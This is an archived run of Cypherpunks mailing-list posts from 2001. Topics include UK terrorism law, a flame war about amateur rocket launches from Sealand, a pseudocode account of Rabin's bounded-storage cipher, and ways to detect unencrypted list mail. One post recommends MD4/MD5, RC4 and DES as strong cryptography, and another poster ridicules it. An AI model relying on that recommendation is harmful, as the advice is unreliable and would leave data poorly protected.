violations of Sect. 15-18. The duty to fink is limited to a business or
quasi-business relationship, defined as ‘information which comes to his
attention in the course of a trade, profession, business or employment’.

Under the old UK terrorism law [read: IRA], the acts had to be political,
now they can be religious or ideological [read: ELF, ALF - speaking of
which, is there a Privacy Liberation Front?]).

Act @ http://www.blagged.freeserve.co.uk/ta2000/fhome.htm

Definition of Terrorism under TA2000
====================================

"1. - (1) In this Act "terrorism" means the use or threat of action where-

(a) the action falls within subsection (2),

(b) the use or threat is designed to influence the government or to
intimidate the public or a section of the public, and

(c) the use or threat is made for the purpose of advancing a political,
religious or ideological cause.

(2) Action falls within this subsection if it-

(a) involves serious violence against a person,

(b) involves serious damage to property,

(c) endangers a person's life, other than that of the person committing the
action,

(d) creates a serious risk to the health or safety of the public or a
section of the public, or

(e) is designed seriously to interfere with or seriously to disrupt an
electronic system."

<snip>

(But see Sect. 5.)

Aimee E. Farr
Law Office Of Aimee E. Farr
5400 Bosque, Suite 675
Waco, Texas 76710-4418
T: 254.751.0030
E: mailto:aimee.farr at pobox.com
K: 0x94AB84F1















From jchoate at dev.tivoli.com  Wed Feb 21 13:10:17 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Wed, 21 Feb 2001 15:10:17 -0600
Subject: Slashdot | The Future of Copy Control
Message-ID: <3A942EB9.985070E@dev.tivoli.com>


http://slashdot.org/yro/01/02/21/1852252.shtml
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From ravage at ssz.com  Wed Feb 21 14:14:22 2001
From: ravage at ssz.com (Jim Choate)
Date: Wed, 21 Feb 2001 16:14:22 -0600 (CST)
Subject: Sealand and Experimental Rocketry
In-Reply-To: <3A93F50A.CA852A1B@ccs.bbk.ac.uk>
Message-ID: <Pine.LNX.3.96.1010221160955.5925n-100000@einstein.ssz.com>



On Wed, 21 Feb 2001, Ken Brown wrote:

> Nope, I was right. (It is around 20 miles from where my mother lives).
> They have a postal address at Felixstowe, which is a port in Suffolk
> near the town Ipswich. See the quotes from their website below

Well I'd have to bow since I couldn't find a lat/long on Sealand or
Havenco and I'm not sure of their exact location other than N. Sea.

> A rocket going into orbit would be pointing east for all the usual
> reasons & would be heading straight for Russia.

Bullshit, We're talking AMATEUR ROCKETS here folks. Beside, irrespective
of the actual size of the rocket it will be in LEO way before it gets to
CCCP.

Clearly you folks have no clue to the distinction between government,
commercial, amateur. 

> A deeply uncool place to make launches from.

Russia, I agree. Europe is uncool. Hell the Germans outlawed amateur
rocketry in the late 30's and haven't looked back once.

> Anyway, we aren't talking a production platform here. Sealand is an
> anti-aircraft gun turret.  It isn't really very big. Sticks a long way
> out of the water, but then you have to in the North Sea  (not like those
> little weeny platforms you get in the Gulf of Mexico :-)  Imagine two
> factory chimneys connected by a deck at the top. 

The Gulf is deeper than the North Sea and I'd bet the rigs we got out here
are just as big.

> If you want to launch from the sea you need a big platform. And you need
> to put it somewhere else.

No, you need a boat. Sealand is more than sufficient for putting a Amateur
rocket up. Hell, I could fire one from my back yard as far as that goes.
Though I think the launch tower might give somebody a clue.

While the rest of you folks sit around telling yourself the same old
matra, "It can't be done. It can't be done. It can't be done." We're going
to do it.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From real at freenet.ab.ca  Wed Feb 21 15:45:29 2001
From: real at freenet.ab.ca (real at freenet.ab.ca)
Date: Wed, 21 Feb 2001 16:45:29 -0700
Subject: Sealand and Experimental Rocketry
In-Reply-To: <3A944656.D4523C70@sunder.net>
Message-ID: <3A93F0A9.4855.15AB6A0@localhost>


On 21 Feb 2001, at 17:51, Sunder wrote:

> Jim Choate wrote:
> > 
> > While the rest of you folks sit around telling yourself the same old
> > matra, "It can't be done. It can't be done. It can't be done." We're going
> > to do it.

  Do you feel better now?
> 
> So why don't you shut the fuck up an do it already.  Take a long trip to
> Sealand, implement all this good stuff and tell us about it when you come
> back.  Not now.
> 
> -- 
> ----------------------Kaos-Keraunos-Kybernetos---------------------------
>  + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
>   \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
> <--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
>   /|\  :masked killer, but  |don't email them, or put them on a web  \|/
>  + v + :will violate privacy|site, and you must change them very often.
> --------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------





From k.brown at ccs.bbk.ac.uk  Wed Feb 21 09:04:10 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Wed, 21 Feb 2001 17:04:10 +0000
Subject: Sealand and Experimental Rocketry
References: <Pine.LNX.3.96.1010221072140.5925l-100000@einstein.ssz.com>
Message-ID: <3A93F50A.CA852A1B@ccs.bbk.ac.uk>


Jim Choate wrote:
> 
> On Wed, 21 Feb 2001, Ken Brown wrote:
> 
> > WHAT???????????????????????
> >
> > It is at about 52 degrees north, IIRC. If you had high-school physics
> > you'd see the problem with that.
> 
> Closer to 60 if you actuallly check a map.

Nope, I was right. (It is around 20 miles from where my mother lives).
They have a postal address at Felixstowe, which is a port in Suffolk
near the town Ipswich. See the quotes from their website below
 
> Soluble problem with respect to Lat. There are more issues than simple
> launch physics involved here.

You can say that again. 

A rocket going into orbit would be pointing east for all the usual
reasons & would be heading straight for Russia. A deeply uncool place to
make launches from.  See Ryan Lackey's comments I quote below - if
that's what he thinks about a mortar, what about an ICBM? (which is just
a rocket whose orbit intersects the Earth's surface nearby to someone
you don't like).

Anyway, we aren't talking a production platform here. Sealand is an
anti-aircraft gun turret.  It isn't really very big. Sticks a long way
out of the water, but then you have to in the North Sea  (not like those
little weeny platforms you get in the Gulf of Mexico :-)  Imagine two
factory chimneys connected by a deck at the top. 

If you want to launch from the sea you need a big platform. And you need
to put it somewhere else.

Ken



--------------------------------------------------------
An extract from
http://www.fruitsofthesea.demon.co.uk/sealand/factfile.html follows:
--------------------------------------------------------

- Sealand is located in the southern part of the North Sea some six
miles off the coast of Britain and from sixty-five to one hundred miles
from the coasts of France, Belgium, Holland and Germany; Latitude 51.53
N, Longitude 01.28 E (see map). 

- Within a radius of five hundred miles of Sealand live more than two
hundred million people who enjoy some of the highest living standards in
the world. This area also encompasses the financial and industrial heart
of Europe. 

- Easy and economical access to Sealand from Europe and Scandanavia is
available, since the established ferry routes that ply to and from the
United Kingdom pass some three miles from the island, carrying freight
and thousands of passengers daily.

- Further information may be obtained from: Sealand State Corporation &
Information Bureau, SEALAND                            P.O. Box 3
FELIXSTOWE Suffolk IP11 9SZ United Kingdom


--------------------------------------------------------
And from an interview with Ryan Lackey at
http://slashdot.org/interviews/00/07/02/160253.shtml 
--------------------------------------------------------

Placing a warship with mortar in the waters near the UK's major
container port would be ... highly unpopular.

Placing mortars ashore for long enough to close on target would also
inspire a very unfavorable response from the UK military. Any mortar
which could hit Sealand from shore could also threaten hundreds of
thousands of British citizens. British gun laws, being what they are,
and the British experience with mortar attacks on Heathrow being what it
is, I would not want to try it.




From registration at driveway.com  Wed Feb 21 17:19:44 2001
From: registration at driveway.com (registration at driveway.com)
Date: Wed, 21 Feb 2001 17:19:44 -0800 (PST)
Subject: An Important Announcement to Driveway Users
Message-ID: <4542410.982804784013.JavaMail.root@app01>

Dear Driveway user,

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Your password is: cypherpunks
Driveway URL: http://www.driveway.com


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From ravage at ssz.com  Wed Feb 21 15:43:34 2001
From: ravage at ssz.com (Jim Choate)
Date: Wed, 21 Feb 2001 17:43:34 -0600 (CST)
Subject: Sealand and Experimental Rocketry
In-Reply-To: <IKNPLJOGLDBJBAAA@shared1-mail.whowhere.com>
Message-ID: <Pine.LNX.3.96.1010221174104.5925p-100000@einstein.ssz.com>



On Wed, 21 Feb 2001, Jim Windle wrote:

> Yes, Boeing is a partner, as is Kraevner a Norweigan company that supplied a refurbished semisubmersible drilling rig.  They use Russian Zenit rockets which are loaded on the platform in Long Beach then the launch platform and command and support ships move to equatorial waters for the launch.  And you're absolutely right, SeaLand can't support that sort of operation, nor does it provide an equatorial launch site.

Which is irrelevant because nobody but you, Tim,  Declan, and the rest of
the Peyote Pete Club was talking about anything like this.

For people that seem to be so sophisticated, it's surprising you don't
understand concepts like 'amateur rocket' or 'can-sat'.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From sunder at sunder.net  Wed Feb 21 14:51:02 2001
From: sunder at sunder.net (Sunder)
Date: Wed, 21 Feb 2001 17:51:02 -0500
Subject: Sealand and Experimental Rocketry
References: <Pine.LNX.3.96.1010221160955.5925n-100000@einstein.ssz.com>
Message-ID: <3A944656.D4523C70@sunder.net>


Jim Choate wrote:
> 
> While the rest of you folks sit around telling yourself the same old
> matra, "It can't be done. It can't be done. It can't be done." We're going
> to do it.

So why don't you shut the fuck up an do it already.  Take a long trip to
Sealand, implement all this good stuff and tell us about it when you come
back.  Not now.

-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From ravage at ssz.com  Wed Feb 21 15:54:36 2001
From: ravage at ssz.com (Jim Choate)
Date: Wed, 21 Feb 2001 17:54:36 -0600 (CST)
Subject: Testing for encryption. (fwd)
Message-ID: <Pine.LNX.3.96.1010221175100.5925u-100000@einstein.ssz.com>

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From ravage at ssz.com  Wed Feb 21 15:58:18 2001
From: ravage at ssz.com (Jim Choate)
Date: Wed, 21 Feb 2001 17:58:18 -0600 (CST)
Subject: FAQ? how to set up a cross-platform encrypted mailing  list/forum
In-Reply-To: <3.0.5.32.20010221121112.009b8a90@207.69.200.219>
Message-ID: <Pine.LNX.3.96.1010221175642.5925x-100000@einstein.ssz.com>



On Wed, 21 Feb 2001, David Honig wrote:

> 1. look for appropriate headers
> and/or
> 2. convert to binary and measure the entropy of the sample.  Nothing written
> by human hand comes close to pure noise.

But the orginal problem placed no constraints on the encryption used by
the source.

Not being a 'human' language is not sufficient to prove it is encrypted,
nor is it equivalent to the original problem.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ravage at ssz.com  Wed Feb 21 16:05:42 2001
From: ravage at ssz.com (Jim Choate)
Date: Wed, 21 Feb 2001 18:05:42 -0600 (CST)
Subject: Sealand and Experimental Rocketry
In-Reply-To: <3.0.5.32.20010221121259.009bcc10@207.69.200.219>
Message-ID: <Pine.LNX.3.96.1010221175856.5925y-100000@einstein.ssz.com>



On Wed, 21 Feb 2001, David Honig wrote:

> At 01:53 AM 2/21/01 -0500, Jim Windle wrote:
> >I think Tim's point was simply that Sealand's location is too far north to
> be a good launch site.
> 
> Undoubtably, but there are also Range Safety issues.. like them pesky
> europeans
> all around...

Sealand is an independent principality with no treaties related to
rocketry with any of them. What are they going to do, attack an
independent nation because a hobbyist fired off an amateur rocket?

Yep, that's how WWIII will start, you bet. Hell, by the time the radar
op's figure out what's going on you're so high you're off their scopes.
Just exactly how long do you think it takes to get to orbit at 50G's?
We're not flying a fucking school bus like the shuttle with 3-4G limits.
This is balls to the wall Isp.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------







From reeza at flex.com  Wed Feb 21 20:09:49 2001
From: reeza at flex.com (Reese)
Date: Wed, 21 Feb 2001 18:09:49 -1000
Subject: Archive Request
Message-ID: <4.3.2.7.2.20010221180925.00be9400@flex.com>


 >Hi, Could you send it on, now that you've picqued my interest?

After receiving a number of offlist queries, I've decided to post the
url for the post I referred to.

For a slightly humorous, but thought-provoking address on how memory failure
may encroach when questions stray from the pertinent, see

<http://www.inet-one.com/cypherpunks/dir.98.11.30-98.12.06/msg00103.html>

Will the real Anonymous please stand up?

Reese






From ravage at ssz.com  Wed Feb 21 16:22:15 2001
From: ravage at ssz.com (Jim Choate)
Date: Wed, 21 Feb 2001 18:22:15 -0600 (CST)
Subject: If the SC isn't fooled by the technology
Message-ID: <Pine.LNX.3.96.1010221182121.5925M-100000@einstein.ssz.com>



With respect to the current SC deliberation on the use of IR devices and
unwarranted searches, if they find that the technology is not relevant
then crypto and many other limitations will fall as well.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at ssz.com  Wed Feb 21 16:33:39 2001
From: ravage at ssz.com (Jim Choate)
Date: Wed, 21 Feb 2001 18:33:39 -0600 (CST)
Subject: Harvard mathematician creates 'provably unbreakable' code (fwd)
Message-ID: <Pine.LNX.3.96.1010221183334.5925N-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Wed, 21 Feb 2001 14:22:26 -0800
From: hal at finney.org
To: bram at gawth.com, Pete.Chown at skygate.co.uk
Cc: coderpunks at toad.com, crypt at bxa.doc.gov
Subject: Re: Harvard mathematician creates 'provably unbreakable' code

Let me tell you how the Rabin system works in the Crypto 99 paper.
I'll do it as pseudo code and copy it to BXA so everything is kosher.
Basically they generate a one time pad by xoring a random subset of the
message bits, where the subset indices are agreed upon in advance by
the communicants:

Security Parameter k // Error probability = 1/2^(k/5)
Random data length PER MESSAGE BIT n = 5E // E is maximum size of adversary memory
Message Length m //bits
Message M = {M_1, ..., M_m} // m bits long
Secret key s = {sig_1, ... sig_k} // each in range 1-n, k of them
Random data alpha[n][m]  // n*m bits long
One Time Pad X[m]  // Will be xored with M

for i = 1 to m do
  for j = 1 to n do
    if j is an element of s then
      R and S store alpha[j][i]
  end for j
  S and R set X[i] = xor of stored alpha[j][i] values (k of them)
  S sends M[i] xor X[i]; R recovers M[i] by xoring with X[i]
end for i

For each message bit M_i we need to use 5*E random bits, where E is the
estimate of the maximum amount of memory the adversary can hold.

For example if Eve can store 100 Tbits, we need to use up 500 Tbits of
data for each message bit.  To send say a 1 Mbit message that is, well,
it's a lot.  500 exabits.  (It goes giga, tera, peta, exa.  Then zetta
and yotta.)

The initial shared secret key is simply k indexes in the range 1-n,
where k is the security parameter such that the guaranteed probability of
failure is bounded by 1/2^(k/5).  k = 300 would give a security level of
2^60.  The size of the initial shared secret key is therefore k log n, so
with k = 300 and n = 2^49 as above, this is about 15000 shared key bits.

So I would say no, this 1999 scheme is not practical.  Maurer's original
approach used only n random bits in total, not n bits per message bit,
but it did not have as strong provability.  The authors leave it as an
open problem whether they can achieve similar levels of provable security
using n bits total, which would make it much more practical.

Maybe the new result presented in the Times fixes this problem and reduces
the data quantity to something sane.

Hal




From ravage at ssz.com  Wed Feb 21 16:40:45 2001
From: ravage at ssz.com (Jim Choate)
Date: Wed, 21 Feb 2001 18:40:45 -0600 (CST)
Subject: Optical computing and Relativity
Message-ID: <Pine.LNX.3.96.1010221183810.5925Q-100000@einstein.ssz.com>



Assume we have a generator of entangled photons. We send one stream
through the recent 'slow light' technology. We measure the non-slowed
photon. When does the slowed photon fix its state?

Would this not allow you to tap a crypto channel w/o the legitimate
parties being aware?

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From dld2517 at yahoo.com  Wed Feb 21 19:15:46 2001
From: dld2517 at yahoo.com (Dan Darden)
Date: Wed, 21 Feb 2001 19:15:46 -0800 (PST)
Subject: Your responses: The Key Vanishes
Message-ID: <20010222031546.7270.qmail@web2103.mail.yahoo.com>


I stumbled upon your responses to the NYT article
about the unbreakable crypto.  I agree with your
points and feel they are quite vaild.

However, I'd like to toss something else out.  In
order for one to assure that the random number
generator was authentic it would have to be trusted to
an even greater extent, using an unbreakable system of
its own, or perhaps the same system.

It seems that this would develop a certain paradox of
sorts.  How does the user exemplify trust in the
system?  If another source was interceded or
interposed in the way of the 'true' source, all one
would have to do is make the random 'pattern' long
enough and the encrypted data could be easily
retrieved.

The question is how do you ensure the trust of the
generator.  Satellites aren't fooproof.  How can the
unbreakable satellite encrypt itself?

If this message has violated your rights in any way I
do apologize, your address has not been added to any
kind of list.  This is a personal message.


Sincerely,
Dan Darden.

=====
-----------------------------------
Contact me at ddarden at tamu.edu with 
questions concerning all of your 
information security needs.
-----------------------------------

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - Buy the things you want at great prices! http://auctions.yahoo.com/




From robert at cryptorights.org  Wed Feb 21 16:28:27 2001
From: robert at cryptorights.org (Robert Guerra)
Date: Wed, 21 Feb 2001 19:28:27 -0500
Subject: Privacy Lecture Series - Feb. 28 - European cybercrime law &
 implications for privacy
Message-ID: <p05010400b6ba0aa7265b@[192.168.1.101]>

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From estlang at crazyspeedneed.com  Wed Feb 21 16:41:29 2001
From: estlang at crazyspeedneed.com (estlang at crazyspeedneed.com)
Date: Wed, 21 Feb 2001 19:41:29 -0500
Subject: FREE CASH GRANTS, NEVER REPAY!!
Message-ID: <tqy31q0yp60m0.fugv1b81f3icuo6q8f25@mail4.crazyspeedneed.com>

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From ravage at ssz.com  Wed Feb 21 19:55:22 2001
From: ravage at ssz.com (Jim Choate)
Date: Wed, 21 Feb 2001 21:55:22 -0600 (CST)
Subject: Harvard mathematician creates 'provably unbreakable' code (fwd)
Message-ID: <Pine.LNX.3.96.1010221215519.5925V-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Wed, 21 Feb 2001 17:26:13 -0800 (PST)
From: Bram Cohen <bram at gawth.com>
To: hal at finney.org
Cc: Pete.Chown at skygate.co.uk, coderpunks at toad.com, crypt at bxa.doc.gov
Subject: Re: Harvard mathematician creates 'provably unbreakable' code

On Wed, 21 Feb 2001 hal at finney.org wrote:

> for i = 1 to m do
>   for j = 1 to n do
>     if j is an element of s then
>       R and S store alpha[j][i]
>   end for j
>   S and R set X[i] = xor of stored alpha[j][i] values (k of them)
>   S sends M[i] xor X[i]; R recovers M[i] by xoring with X[i]
> end for i

Interesting. Something I came up with may be relevant -

http://gawth.com/bram/essays/unrelated_xors.html

I explained this to Ian Goldberg, who agreed that both conjectures are
completely obvious, and also couldn't see a way of proving them.

If anyone could forward this around I'd much appreciate it - it seems like
worthwile work, but I haven't figured out how to even try to get it
published anywhere - even the front outright ignores submissions from
people with no academic affiliation.

-Bram Cohen

"Markets can remain irrational longer than you can remain solvent"
                                        -- John Maynard Keynes




From ptrc_cmha at hotmail.com  Wed Feb 21 19:08:51 2001
From: ptrc_cmha at hotmail.com (PTR Centre)
Date: Wed, 21 Feb 2001 22:08:51 -0500
Subject: Strong encryption
Message-ID: <000701c09c7c$c8bed040$0500a8c0@WinProxy>


I whole-heartedly advocate Nortel Entrust CAST,
it is cryptograhphically strong.
Rotor-machine, Base64, and clipper-chip
is snake-oil. P.C.T is also passe.
Generallized secure sockets(G.S.S.A.P.I
framework from Cygnus, and Transport layer security, with Java compiler
servlets, is the
approach of choice.Simple substitution ciphers
are cryptograhphically weak.
I advocate DES/3DES, RSA, Diffie-Hellmann
ciphers, Verisign, and especially Nortel
Entrust CAST encryption. I also advocate MD-4/MD-5,
RC 4/RC-5.




From sportinggoods at excite.com  Wed Feb 21 20:14:18 2001
From: sportinggoods at excite.com (sportinggoods at excite.com)
Date: Wed, 21 Feb 2001 23:14:18 -0500
Subject: don't look
Message-ID: <200102220423.WAA25750@einstein.ssz.com>

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From sportinggoods at excite.com  Wed Feb 21 20:37:24 2001
From: sportinggoods at excite.com (sportinggoods at excite.com)
Date: Wed, 21 Feb 2001 23:37:24 -0500
Subject: don't look
Message-ID: <200102220447.WAA25893@einstein.ssz.com>

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From ravage at ssz.com  Thu Feb 22 04:55:20 2001
From: ravage at ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 06:55:20 -0600
Subject: Slashdot | Spying and Technology: Robert Philip Hanssen
Message-ID: <3A950C38.365A108F@ssz.com>


http://slashdot.org/articles/01/02/22/0622249.shtml
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at ssz.com  Thu Feb 22 04:57:22 2001
From: ravage at ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 06:57:22 -0600
Subject: The Register - IBM withdraws content protection proposal
Message-ID: <3A950CB2.2D388CC5@ssz.com>


http://www.theregister.co.uk/content/2/17107.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From aluger at hushmail.com  Thu Feb 22 07:45:49 2001
From: aluger at hushmail.com (aluger at hushmail.com)
Date: Thu, 22 Feb 2001 07:45:49 -0800 (PST)
Subject: Strong encryption
Message-ID: <200102221545.HAA28382@user1.hushmail.com>


At Wed, 21 Feb 2001 22:08:51 -0500, "PTR Centre" <ptrc_cmha at hotmail.com> 
wrote:

>I also advocate MD-4/MD-5

You are a complete blathering idiot.

From honig at sprynet.com  Thu Feb 22 08:52:37 2001
From: honig at sprynet.com (David Honig)
Date: Thu, 22 Feb 2001 08:52:37 -0800
Subject: FAQ? how to set up a cross-platform encrypted
  mailing  list/forum
In-Reply-To: <Pine.LNX.3.96.1010221175642.5925x-100000@einstein.ssz.com>
References: <3.0.5.32.20010221121112.009b8a90@207.69.200.219>
Message-ID: <3.0.6.32.20010222085237.007dd9c0@pop.sprynet.com>


At 05:58 PM 2/21/01 -0600, Jim Choate wrote:
>
>On Wed, 21 Feb 2001, David Honig wrote:
>
>> 1. look for appropriate headers
>> and/or
>> 2. convert to binary and measure the entropy of the sample.  Nothing
written
>> by human hand comes close to pure noise.
>
>But the orginal problem placed no constraints on the encryption used by
>the source.

I don't think the original poster intended rot13 to be acceptable.
And this would be caught: plaintext ciphered with the former won't pass the
entropy test.  

I like the idea, suggested by someone else, of checking digital signatures
on the encrypted msgs since this can authenticate the crypto tool also,
assuring that rot13 or DES isn't used. Though its more work for Mr. SMTP
Host than simply measuring entropy.






 

.......
"What company did you say you were from, Mr. Hewlett?"
---Walt Disney to Bill Hewlett eetimes 22.01.01 p 32

 






  







From ericm at lne.com  Thu Feb 22 08:54:09 2001
From: ericm at lne.com (Eric Murray)
Date: Thu, 22 Feb 2001 08:54:09 -0800
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
In-Reply-To: <3433926447.982686469@[10.0.0.5]>; from rachel@intertrader.com on Tue, Feb 20, 2001 at 04:27:49PM +0000
References: <3A92995A.45E60148@algroup.co.uk> <3433926447.982686469@[10.0.0.5]>
Message-ID: <20010222085409.G2277@slack.lne.com>


On Tue, Feb 20, 2001 at 04:27:49PM +0000, Rachel Willmer wrote:
> The problem I see with doing this, is that it doesn't stop someone 
> absent-mindedly sending out an unencrypted mail to the list server. Which 
> then will travel happily in the clear over the Internet to the list server, 
> (where it gets encrypted and sent back out again but its too late by then).
> 
> so I'm coming round to the idea that the only way to do this is via a 
> web-driven interface on a secure server.
> 

What's your threat model?  It's significantly more difficult for an
attacker to capture packets on the wire than is is for them to capture
them on the sending server, an interim mail server or on the client.
But doing a web based secure-server would require that the mail be in
the clear on the server (well, you could encrypt it, but you'd have to
automatically decrypt it to display it to each client, so you'd have
to have the key somewhere where the OS can read it at any time... which
makes it effectively in the clear).   So an attacker could get the
entire list's worth of traffic from the server.

Requiring incoming mail to be encrypted to the server, then
decrypting it and re-encrypting to each recipient (as Joseph Ashwood)
suggested) would mean that there are potentially only a few messages
in the clear on the server at any one time.  To get a significant
portion of the list's traffic, an attacker would have to
subvert the server in some way such that it gets plaintext copies
of the messages for a period of time.  It'd be easier for the attacker
to simply subscribe to the list...

which leads me to my next point- how will you prevent attackers from
subscribing to the list?  Even with a perfect encrypted mailing list,
the attacker can simply subscribe.  One list that I have been on prevents
attackers from subscribing by having current members vouch for a potential
new member, preferably after having met them in real life.  However,
it'd be easy for someone with the time and inclination to impersonate
an on-line persona during a real-space meeting.  (for instance, in a
lot of places I could pass myself off as Tim May, famous cypherpunk.
Someone less public would be much easier.  For that matter, if you met
me, how would you know that I'm really Eric Murray?).  It's enough
for this one list, but the attackers have only limited time and
resources to put into their attack.

So if your threat model includes spys who would put effort into
subscribing to the list to spy on it's activities, then there's not much
use to encrypting the traffic-- it'll be read by the enemy anyhow.



> ugh.

indeed.


-- 
  Eric Murray           Consulting Security Architect         SecureDesign LLC
  http://www.securedesignllc.com                            PGP keyid:E03F65E5




From honig at sprynet.com  Thu Feb 22 09:01:39 2001
From: honig at sprynet.com (David Honig)
Date: Thu, 22 Feb 2001 09:01:39 -0800
Subject: CDR: Testing for encryption. (fwd)
In-Reply-To: <Pine.LNX.3.96.1010221175100.5925u-100000@einstein.ssz.com>
Message-ID: <3.0.6.32.20010222090139.007dd9c0@pop.sprynet.com>

At 05:54 PM 2/21/01 -0600, Jim Choate wrote:
>
>There is NO algorithm which will determine if an arbitrary piece of text
>is encrypted by an arbitrary algorithm. You can tell, at least
>statistically if a particular piece of arbitrary text ISN'T a particular
>algorithm or language either. Again, not the same problem.

The problem is to find a reasonable way for a relay to refuse to forward
unencrypted messages.  So that participants don't accidentally reveal the
discussion.

*Not* to identify the language or cipher algorithm.  *Where* do you get
that idea?
(Rhetorical, I realize who I'm replying to..)

A general and reliable heuristic is to measure entropy.  This will of course
pass unencrypted compressed files (including possibly jpeg, mpeg, etc.).  A
more
reliable 'cheat' is to look for headers.  This can also enforce an
additional (and perhaps
unwanted) requirement that a certain tool is used.  But again, malicious
posters
will be able to spoof this.







.......
"What company did you say you were from, Mr. Hewlett?"
---Walt Disney to Bill Hewlett eetimes 22.01.01 p 32

 






  







From ericm at lne.com  Thu Feb 22 10:13:34 2001
From: ericm at lne.com (Eric Murray)
Date: Thu, 22 Feb 2001 10:13:34 -0800
Subject: Filtering CDR open
Message-ID: <20010222101333.J2277@slack.lne.com>


I've set up a new CDR that filters posts to it's subscribers- only posts
from subscribers to other CDRs or known remailers (or subscriber's alternate
addresses) will go to lne.com CDR subscribers.

Here's the list welcome message, which explains how it works in more
detail.  We're not connected to all the CDRs yet but as far as I can tell
we're not missing any posts.


-------------------------------------------------------------------------




Welcome to the lne.com Cypherpunks Distributed Remailer
This is welcome message v1.0, dated 2/22/01

Cypherpunks is a list for discussing cryptography and its impact on
society.  It is not a moderated list.  The list operators are not responsible
for the list contents.  See the following pages for cypherpunks info:


Background/general explanation:

http://world.std.com/~franl/crypto/cypherpunks.html
(read the two Manifestos-- Eric Hughes' and Tim May's-- for good
background material).

http://einstein.ssz.com/cdr

Physical meetings:

http://www.cryptorights.org/cypherpunks/meetingpunks.html

Cypherpunks list archves:

http://www.inet-one.com/cypherpunks
http://cypherpunks.venona.com
 
The Cypherpunks list is run in a distributed fashion.  There are a number of
Cypherpunks Distributed Remailers which handle distribution of the list.
